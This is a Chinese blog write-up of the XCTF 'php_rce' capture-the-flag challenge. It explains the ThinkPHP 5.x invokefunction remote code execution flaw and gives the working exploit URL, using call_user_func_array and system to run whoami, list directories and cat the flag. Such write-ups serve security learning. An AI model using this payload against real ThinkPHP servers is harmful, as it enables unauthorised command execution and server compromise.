php_rce-攻防世界

题目

 上来就看到thinkphp应该就是考察框架漏洞,直接查相关漏洞

RCE:远程代码执行漏洞
远程命令/代码执行漏洞,简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。RCE分为远程命令执行ping和远程代码执行evel。

漏洞产生的根本原因
服务器没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

该漏洞是由于ThinkPHP5在处理控制器传参时,没有对参数进行充分的过滤与验证,导致恶意用户可以通过提交恶意数据,构造出一个带有PHP函数的控制器方法,并通过URL参数的形式访问该方法,从而触发远程代码执行漏洞。

Thinkphp v5.x 远程代码执行漏洞复现及POC集合-CSDN博客

ThinkPHP 5.x 远程命令执行漏洞分析与复现 | PHP 技术论坛 (learnku.com)

Thinkphp 5.x 远程代码执行漏洞利用小记 - Scivous - 博客园 (cnblogs.com)

随便构造个参数报错

拿到版本号

攻击exp

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

  1. index.php,这是ThinkPHP框架的默认入口文件。
  2. ?s=index/think\app/invokefunctions 参数通常用于指定ThinkPHP框架中的模块/控制器/方法。在这里,它指向了一个名为 think\app\invokefunction 的方法或功能。

  3. &function=call_user_func_array

    这个参数告诉 invokefunction 方法要调用的函数是 call_user_func_arraycall_user_func_array 是PHP中的一个函数,它用于调用一个用户自定义的函数,并为其传递一个参数数组。 
  4. &vars[0]=system

    这是传递给 call_user_func_array 的第一个参数。它指定了要调用的函数是 systemsystem 是PHP中的一个函数,它用于执行外部程序,并显示输出。
  5. &vars[1][]=whoami

    这是传递给 call_user_func_array 的第二个参数,它是一个数组。在这里,它只包含一个元素:whoamiwhoami 是一个常见的Unix命令,用于显示当前用户的名称

 

 index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

查看根目录下的文件 

 

 查看 flag目录下的文件

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /flag

 

查看/flag文件

 index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat  
 /flag

攻防世界XCTF:php_rce_xctf php_rce-CSDN博客 

  • 14
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值